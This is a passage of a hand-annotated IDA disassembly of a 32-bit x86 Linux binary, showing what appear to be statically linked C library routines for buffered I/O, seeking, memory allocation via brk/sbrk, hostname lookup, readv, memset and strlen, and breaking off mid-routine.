sub_0_806597C	proc near		; DATA XREF: .data:0807926Co

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	eax, [ebp+arg_0]
		mov	edi, [ebp+arg_8]
		mov	esi, [eax+0Ch]

loc_0_806598B:				; CODE XREF: sub_0_806597C+44j
					; sub_0_806597C+5Aj
		test	edi, edi
		jz	short loc_0_80659DC
		mov	ebx, [esi+14h]
		sub	ebx, [esi+10h]
		mov	eax, ebx
		cmp	edi, ebx
		jnb	short loc_0_806599D
		mov	eax, edi

loc_0_806599D:				; CODE XREF: sub_0_806597C+1Dj
		mov	ebx, eax
		call	memmove2(arg_4,esi+10h,ebx)
		mov	eax, ebx
		add	eax, [esi+10h]
		mov	[esi+10h], eax
		add	[ebp+arg_4], ebx
		sub	edi, ebx
		cmp	[esi+14h], eax
		jnz	short loc_0_806598B
		mov	dword ptr [esi+1Ch], 1
		push	0
		push	esi
		call	sub_0_8065588
		add	esp, 8
		test	eax, eax
		jnz	short loc_0_806598B
		xor	eax, eax
		jmp	short loc_0_80659E1
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_80659DC:				; CODE XREF: sub_0_806597C+11j
		mov	eax, 1

loc_0_80659E1:				; CODE XREF: sub_0_806597C+5Ej
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_806597C	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_80659EC	proc near		; CODE XREF: sub_0_8065A40+10p
					; DATA XREF: .data:08079270o

var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	ebx, [esi+0Ch]
		push	1
		push	0
		mov	eax, [ebx]
		push	eax
		call	lseek
		mov	edx, eax
		cmp	edx, 0FFFFFFFFh
		jz	short loc_0_8065A35
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_0_8065A18
		cmp	eax, 1
		jz	short loc_0_8065A24
		jmp	short loc_0_8065A30
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8065A18:				; CODE XREF: sub_0_80659EC+22j
		mov	eax, [ebx+10h]
		sub	eax, [ebx+0Ch]
		add	edx, eax
		jmp	short loc_0_8065A35
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8065A24:				; CODE XREF: sub_0_80659EC+27j
		mov	eax, [ebx+30h]
		sub	eax, [ebx+2Ch]
		sub	edx, eax
		jmp	short loc_0_8065A35
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8065A30:				; CODE XREF: sub_0_80659EC+29j
		mov	edx, 0FFFFFFFFh

loc_0_8065A35:				; CODE XREF: sub_0_80659EC+1Cj
					; sub_0_80659EC+34j ...
		mov	eax, edx
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_80659EC	endp


; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8065A40	proc near		; DATA XREF: .data:08079274o

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esi, [edi+0Ch]
		push	edi
		call	sub_0_80659EC
		mov	edx, eax
		sub	edx, ebx
		cmp	eax, 0FFFFFFFFh
		jz	short loc_0_8065AAC
		mov	eax, [edi]
		test	eax, eax
		jz	short loc_0_8065A6C
		cmp	eax, 1
		jz	short loc_0_8065A88
		jmp	short loc_0_8065AAC
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8065A6C:				; CODE XREF: sub_0_8065A40+22j
		mov	eax, [esi+10h]
		sub	eax, edx
		cmp	[esi+18h], eax
		jnb	short loc_0_8065AAC
		cmp	[esi+14h], eax
		jbe	short loc_0_8065AAC
		mov	[esi+10h], eax
		mov	eax, 1
		jmp	short loc_0_8065AAE
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8065A88:				; CODE XREF: sub_0_8065A40+27j
		mov	eax, [esi+2Ch]
		sub	eax, edx
		cmp	[esi+34h], edx
		jle	short loc_0_8065AAC
		cmp	[esi+30h], eax
		jb	short loc_0_8065AAC
		cmp	[esi+28h], eax
		ja	short loc_0_8065AAC
		mov	[esi+2Ch], eax
		sub	[esi+34h], edx
		mov	eax, 1
		jmp	short loc_0_8065AAE
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8065AAC:				; CODE XREF: sub_0_8065A40+1Cj
					; sub_0_8065A40+29j ...
		xor	eax, eax

loc_0_8065AAE:				; CODE XREF: sub_0_8065A40+43j
					; sub_0_8065A40+67j
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8065A40	endp


; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8065AB8	proc near		; DATA XREF: .data:08079278o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		mov	edx, [eax+0Ch]
		xor	ebx, ebx
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_0_8065AD4
		cmp	eax, 1
		jz	short loc_0_8065AE8
		jmp	short loc_0_8065B00
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_8065AD4:				; CODE XREF: sub_0_8065AB8+13j
		mov	eax, ecx
		add	eax, [edx+10h]
		cmp	[edx+14h], eax
		jb	short loc_0_8065B00
		mov	ebx, [edx+10h]
		mov	[edx+10h], eax
		jmp	short loc_0_8065B00
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8065AE8:				; CODE XREF: sub_0_8065AB8+18j
		cmp	[edx+34h], ecx
		jl	short loc_0_8065B00
		mov	eax, ecx
		add	eax, [edx+2Ch]
		cmp	[edx+30h], eax
		jb	short loc_0_8065B00
		mov	ebx, [edx+2Ch]
		sub	[edx+34h], ecx
		add	[edx+2Ch], ecx

loc_0_8065B00:				; CODE XREF: sub_0_8065AB8+1Aj
					; sub_0_8065AB8+24j ...
		mov	eax, ebx
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8065AB8	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8065B0C	proc near		; DATA XREF: .data:0807927Co

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	eax, [ebp+arg_0]
		mov	ebx, [eax+0Ch]
		call	free([ebx+4])
		call	free(ebx)
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8065B0C	endp


; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8065B2C	proc near		; CODE XREF: sub_0_8063D20+162p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	eax, [ebp+arg_0]
		mov	ebx, [eax+0Ch]
		jmp	short loc_0_8065B68
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_8065B38:				; CODE XREF: sub_0_8065B2C+40j
					; sub_0_8065B2C+46j
		mov	eax, [ebx+34h]
		push	eax
		push	ebx
		call	sub_0_80656E8
		add	esp, 8
		test	eax, eax
		jz	short loc_0_8065B63
		mov	dword ptr [ebx+34h], 0
		cmp	dword ptr [ebx+38h], 0
		jnz	short loc_0_8065B68
		push	ebx
		call	sub_0_8065698
		add	esp, 4
		test	eax, eax
		jnz	short loc_0_8065B68

loc_0_8065B63:				; CODE XREF: sub_0_8065B2C+1Bj
		xor	eax, eax
		jmp	short loc_0_8065B80
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8065B68:				; CODE XREF: sub_0_8065B2C+Aj
					; sub_0_8065B2C+28j ...
		cmp	dword ptr [ebx+34h], 0
		jg	short loc_0_8065B38
		cmp	dword ptr [ebx+38h], 0
		jz	short loc_0_8065B38
		mov	dword ptr [ebx+38h], 0
		mov	eax, 1

loc_0_8065B80:				; CODE XREF: sub_0_8065B2C+39j
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8065B2C	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	eax, [ebp+8]
		mov	ebx, [eax+0Ch]
		jmp	short loc_0_8065BBF
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_8065B94:				; CODE XREF: .text:08065BC3j
					; .text:08065BC9j
		mov	eax, [ebx+34h]
		push	eax
		push	ebx
		call	sub_0_80656E8
		add	esp, 8
		test	eax, eax
		jz	short loc_0_8065BD8
		mov	dword ptr [ebx+34h], 0
		cmp	dword ptr [ebx+38h], 0
		jnz	short loc_0_8065BBF
		push	ebx
		call	sub_0_8065698
		add	esp, 4
		test	eax, eax
		jz	short loc_0_8065BD8

loc_0_8065BBF:				; CODE XREF: .text:08065B92j
					; .text:08065BB0j
		cmp	dword ptr [ebx+34h], 0
		jg	short loc_0_8065B94
		cmp	dword ptr [ebx+38h], 0
		jz	short loc_0_8065B94
		mov	eax, [ebx+2Ch]
		cmp	[ebx+30h], eax
		jz	short loc_0_8065BD8
		xor	eax, eax
		jmp	short loc_0_8065BDD
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8065BD8:				; CODE XREF: .text:08065BA3j
					; .text:08065BBDj ...
		mov	eax, 1

loc_0_8065BDD:				; CODE XREF: .text:08065BD5j
		mov	ebx, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn	

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8065BE4	proc near		; CODE XREF: sub_0_8063D20+D2p
					; sub_0_8063D20+E1p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+0Ch]
		cmp	[ebp+arg_4], 0
		jnz	short loc_0_8065C04
		cmp	dword ptr [ecx+1Ch], 0
		jnz	short loc_0_8065C04
		mov	eax, [ecx+10h]
		add	eax, 4
		cmp	[ecx+14h], eax
		ja	short loc_0_8065C18

loc_0_8065C04:				; CODE XREF: sub_0_8065BE4+Dj
					; sub_0_8065BE4+13j
		mov	dword ptr [ecx+1Ch], 0
		push	1
		push	ecx
		call	sub_0_8065588
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8065C18:				; CODE XREF: sub_0_8065BE4+1Ej
		mov	eax, [ecx+10h]
		sub	eax, [ecx+18h]
		add	eax, 0FFFFFFFCh
		mov	edx, [ecx+18h]
		or	eax, 80000000h
		xchg	al, ah
		ror	eax, 10h
		xchg	al, ah
		mov	[edx], eax
		mov	eax, [ecx+10h]
		mov	[ecx+18h], eax
		add	dword ptr [ecx+10h], 4
		mov	eax, 1
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8065BE4	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8065C48	proc near		; CODE XREF: sub_0_80649C0+Cp
		push	ebp
		mov	ebp, esp
		mov	eax, 100h
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8065C48	endp



; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8065C84	proc near		; CODE XREF: sub_0_805D5F8+1Dp

var_190		= byte ptr -190h
var_188		= byte ptr -188h
var_43		= byte ptr -43h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 188h
		push	edi
		push	ebx
		mov	ebx, [ebp+arg_0]
		test	ebx, ebx
		jz	short loc_0_8065CD0
		lea	eax, [ebp+var_188]
		push	eax
		call	uname
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_0_8065CDA
		lea	edx, [ebp+var_43]
		mov	eax, strlen(edx)+1
		cmp	[ebp+arg_4], eax
		jb	short loc_0_8065CD0
		call	strcpy(ebx,edx)
		xor	eax, eax
		jmp	short loc_0_8065CDF
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8065CD0:				; CODE XREF: sub_0_8065C84+10j
					; sub_0_8065C84+3Cj
		mov	errno, 16h

loc_0_8065CDA:				; CODE XREF: sub_0_8065C84+24j
		mov	eax, 0FFFFFFFFh

loc_0_8065CDF:				; CODE XREF: sub_0_8065C84+47j
		lea	esp, [ebp+var_190]
		pop	ebx
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8065C84	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8065DC8	proc near		; DATA XREF: sub_0_8065DE0+1Co

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	eax
		call	sbrk
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_0_8065DDB
		xor	eax, eax

loc_0_8065DDB:				; CODE XREF: sub_0_8065DC8+Fj
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8065DC8	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8065DE0	proc near		; DATA XREF: sub_0_8065DE0+10o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		call	brk
		test	eax, eax
		jnz	short loc_0_8065E11
		cmp	dword_0_8078B30, offset	sub_0_8065DE0
		jnz	short loc_0_8065E06
		mov	dword_0_8078B30, offset	sub_0_8065DC8

loc_0_8065E06:				; CODE XREF: sub_0_8065DE0+1Aj
		call	sbrk(ebx)
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_0_8065E13

loc_0_8065E11:				; CODE XREF: sub_0_8065DE0+Ej
		xor	eax, eax

loc_0_8065E13:				; CODE XREF: sub_0_8065DE0+2Fj
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8065DE0	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8065E1C	proc near		; CODE XREF: sub_0_805CE84+186p

var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	[ebp+var_8], 0
		cmp	[ebp+arg_8], edi
		jbe	loc_0_8065FCE
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_8]
		and	eax, 1Fh
		cmp	[ebp+arg_8], edi
		jle	short loc_0_8065EC1
		test	eax, eax
		jz	loc_0_8065EF8
		cmp	eax, 8
		jle	short loc_0_8065EC1
		cmp	eax, 10h
		jle	short loc_0_8065E8F
		cmp	eax, 19h
		jge	loc_0_8065EF8
		mov	eax, 8
		cmp	[ebp+arg_8], 8
		ja	short loc_0_8065E6E
		mov	eax, [ebp+arg_8]

loc_0_8065E6E:				; CODE XREF: sub_0_8065E1C+4Dj
		call	readv(arg_0,ebx,eax)
		mov	esi, eax
		test	esi, esi
		jl	loc_0_8065FAB
		add	ebx, 40h
		add	edi, 8
		add	[ebp+var_8], esi

loc_0_8065E8F:				; CODE XREF: sub_0_8065E1C+39j
		mov	esi, [ebp+arg_8]
		sub	esi, edi
		mov	eax, 8
		cmp	esi, 8
		ja	short loc_0_8065EA0
		mov	eax, esi

loc_0_8065EA0:				; CODE XREF: sub_0_8065E1C+80j
		call	readv(arg_0,abx,eax)
		mov	esi, eax
		test	esi, esi
		jl	loc_0_8065FAB
		add	ebx, 40h
		add	edi, 8
		add	[ebp+var_8], esi

loc_0_8065EC1:				; CODE XREF: sub_0_8065E1C+27j
					; sub_0_8065E1C+34j
		mov	esi, [ebp+arg_8]
		sub	esi, edi
		mov	eax, 8
		cmp	esi, 8
		ja	short loc_0_8065ED2
		mov	eax, esi

loc_0_8065ED2:				; CODE XREF: sub_0_8065E1C+B2j
		call	readv(arg_0,ebx,eax)
		mov	esi, eax
		test	esi, esi
		jl	loc_0_8065FAB
		add	ebx, 40h
		add	edi, 8
		jmp	loc_0_8065FC2
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8065EF8:				; CODE XREF: sub_0_8065E1C+2Bj
					; sub_0_8065E1C+3Ej ...
		mov	esi, [ebp+arg_8]
		sub	esi, edi
		mov	eax, 8
		cmp	esi, 8
		ja	short loc_0_8065F09
		mov	eax, esi

loc_0_8065F09:				; CODE XREF: sub_0_8065E1C+E9j
		call	readv(arg_0,ebx,eax)
		mov	esi, eax
		test	esi, esi
		jl	loc_0_8065FAB
		add	ebx, 40h
		lea	eax, [edi+8]
		add	[ebp+var_8], esi
		mov	esi, [ebp+arg_8]
		sub	esi, eax
		mov	eax, 8
		cmp	esi, 8
		ja	short loc_0_8065F3B
		mov	eax, esi

loc_0_8065F3B:				; CODE XREF: sub_0_8065E1C+11Bj
		call	readv(arg_0,ebx,eax)
		mov	esi, eax
		test	esi, esi
		jl	short loc_0_8065FAB
		add	ebx, 40h
		lea	eax, [edi+10h]
		add	[ebp+var_8], esi
		mov	esi, [ebp+arg_8]
		sub	esi, eax
		mov	eax, 8
		cmp	esi, 8
		ja	short loc_0_8065F69
		mov	eax, esi

loc_0_8065F69:				; CODE XREF: sub_0_8065E1C+149j
		call	readv(arg_0,ebx,eax)
		mov	esi, eax
		test	esi, esi
		jl	short loc_0_8065FAB
		add	ebx, 40h
		lea	eax, [edi+18h]
		add	[ebp+var_8], esi
		mov	esi, [ebp+arg_8]
		sub	esi, eax
		mov	eax, 8
		cmp	esi, 8
		ja	short loc_0_8065F97
		mov	eax, esi

loc_0_8065F97:				; CODE XREF: sub_0_8065E1C+177j
		call	readv(arg_0,ebx,eax)
		mov	esi, eax
		test	esi, esi
		jge	short loc_0_8065FBC

loc_0_8065FAB:				; CODE XREF: sub_0_8065E1C+64j
					; sub_0_8065E1C+96j ...
		cmp	errno, 26h
		jz	short loc_0_8065FD8
		jmp	loc_0_80660E7
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8065FBC:				; CODE XREF: sub_0_8065E1C+18Dj
		add	ebx, 40h
		add	edi, 20h

loc_0_8065FC2:				; CODE XREF: sub_0_8065E1C+D4j
		add	[ebp+var_8], esi
		cmp	[ebp+arg_8], edi
		ja	loc_0_8065EF8

loc_0_8065FCE:				; CODE XREF: sub_0_8065E1C+15j
		mov	eax, [ebp+var_8]
		jmp	loc_0_80660E7
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8065FD8:				; CODE XREF: sub_0_8065E1C+196j
		mov	errno, 0
		mov	[ebp+var_8], 0
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		jbe	short loc_0_8066064
		mov	eax, [ebp+arg_8]
		and	eax, 3
		cmp	[ebp+arg_8], edi
		jle	short loc_0_8066023
		test	eax, eax
		jz	short loc_0_8066034
		cmp	eax, 1
		jle	short loc_0_8066023
		cmp	eax, 2
		jle	short loc_0_8066018
		mov	ecx, [ebp+arg_4]
		mov	edi, [ecx+edi*8+4]
		mov	[ebp+var_8], edi
		mov	edi, 1

loc_0_8066018:				; CODE XREF: sub_0_8065E1C+1EBj
		mov	edx, [ebp+arg_4]
		mov	edx, [edx+edi*8+4]
		add	[ebp+var_8], edx
		inc	edi

loc_0_8066023:				; CODE XREF: sub_0_8065E1C+1DDj
					; sub_0_8065E1C+1E6j
		mov	ecx, [ebp+arg_4]
		mov	ecx, [ecx+edi*8+4]
		add	[ebp+var_8], ecx
		inc	edi
		cmp	[ebp+arg_8], edi
		jbe	short loc_0_8066064
		nop	

loc_0_8066034:				; CODE XREF: sub_0_8065E1C+1E1j
					; sub_0_8065E1C+246j
		mov	edx, [ebp+arg_4]
		mov	edx, [edx+edi*8+4]
		add	[ebp+var_8], edx
		mov	ecx, [ebp+arg_4]
		mov	ecx, [ecx+edi*8+0Ch]
		add	[ebp+var_8], ecx
		mov	edx, [ebp+arg_4]
		mov	edx, [edx+edi*8+14h]
		add	[ebp+var_8], edx
		mov	ecx, [ebp+arg_4]
		mov	ecx, [ecx+edi*8+1Ch]
		add	[ebp+var_8], ecx
		add	edi, 4
		cmp	[ebp+arg_8], edi
		ja	short loc_0_8066034

loc_0_8066064:				; CODE XREF: sub_0_8065E1C+1D2j
					; sub_0_8065E1C+215j
		mov	eax, [ebp+var_8]
		add	eax, 3
		and	al, 0FCh
		sub	esp, eax
		mov	[ebp+var_4], esp
		call	read(arg_0,var_4,var_8)
		mov	esi, eax
		test	esi, esi
		jge	short loc_0_8066094
		mov	eax, 0FFFFFFFFh
		jmp	short loc_0_80660E7
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8066094:				; CODE XREF: sub_0_8065E1C+26Dj
		test	esi, esi
		jnz	short loc_0_806609C
		xor	eax, eax
		jmp	short loc_0_80660E7
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_806609C:				; CODE XREF: sub_0_8065E1C+27Aj
		mov	[ebp+var_8], esi
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		jbe	short loc_0_80660E5
		lea	esi, [esi]

loc_0_80660A8:				; CODE XREF: sub_0_8065E1C+2C7j
		mov	edx, [ebp+var_8]
		mov	ecx, [ebp+arg_4]
		cmp	[ecx+edi*8+4], edx
		jbe	short loc_0_80660BC
		mov	ebx, [ebp+var_8]
		jmp	short loc_0_80660C3
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_80660BC:				; CODE XREF: sub_0_8065E1C+296j
		mov	ecx, [ebp+arg_4]
		mov	ebx, [ecx+edi*8+4]

loc_0_80660C3:				; CODE XREF: sub_0_8065E1C+29Bj
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+edi*8]
		call	memcpy(eax,var_4,edx)
		add	[ebp+var_4], ebx
		sub	[ebp+var_8], ebx
		jz	short loc_0_80660E5
		inc	edi
		cmp	[ebp+arg_8], edi
		ja	short loc_0_80660A8

loc_0_80660E5:				; CODE XREF: sub_0_8065E1C+288j
					; sub_0_8065E1C+2C1j
		mov	eax, esi

loc_0_80660E7:				; CODE XREF: sub_0_8065E1C+198j
					; sub_0_8065E1C+1B5j ...
		lea	esp, [ebp+var_14]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8065E1C	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_806626C	proc near		; CODE XREF: sub_0_805CCB0+46p
					; sub_0_805CE84+ECp ...

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	ebx
		mov	ebx, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		test	ebx, ebx
		jle	short loc_0_80662A0
		xor	eax, eax
		cld	
		cmp	ebx, 0Bh
		jle	short loc_0_806629C
		mov	edx, edi
		neg	edx
		and	edx, 3
		sub	ebx, edx
		mov	ecx, edx
		repe stosb
		mov	edx, ebx
		shr	edx, 2
		mov	ecx, edx
		repe stosd
		and	ebx, 3

loc_0_806629C:				; CODE XREF: sub_0_806626C+15j
		mov	ecx, ebx
		repe stosb

loc_0_80662A0:				; CODE XREF: sub_0_806626C+Dj
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_806626C	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 8

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_80662B0	proc near		; CODE XREF: sub_0_8063688+42p
					; sub_0_8063688+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edx, [ebp+arg_0]
		xor	eax, eax
		mov	ecx, edx
		and	ecx, 3
		jz	short loc_0_80662F3
		cmp	[edx], ch
		jz	loc_0_806636E
		inc	eax
		xor	ecx, 3
		jz	short loc_0_80662F3
		cmp	[edx+1], ch
		jz	loc_0_806636E
		inc	eax
		dec	ecx
		jz	short loc_0_80662F3
		cmp	[edx+2], ch
		jz	loc_0_806636E
		inc	eax
		jmp	short loc_0_80662F3
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 10h

loc_0_80662F0:				; CODE XREF: sub_0_80662B0+A0j
		add	eax, 10h

loc_0_80662F3:				; CODE XREF: sub_0_80662B0+Ej
					; sub_0_80662B0+1Cj ...
		mov	ecx, [edx+eax]
		mov	edi, 0FEFEFEFFh
		add	edi, ecx
		jnb	short loc_0_806635B
		xor	edi, ecx
		or	edi, 0FEFEFEFFh
		inc	edi
		jnz	short loc_0_806635B
		mov	ecx, [edx+eax+4]
		mov	edi, 0FEFEFEFFh
		add	edi, ecx
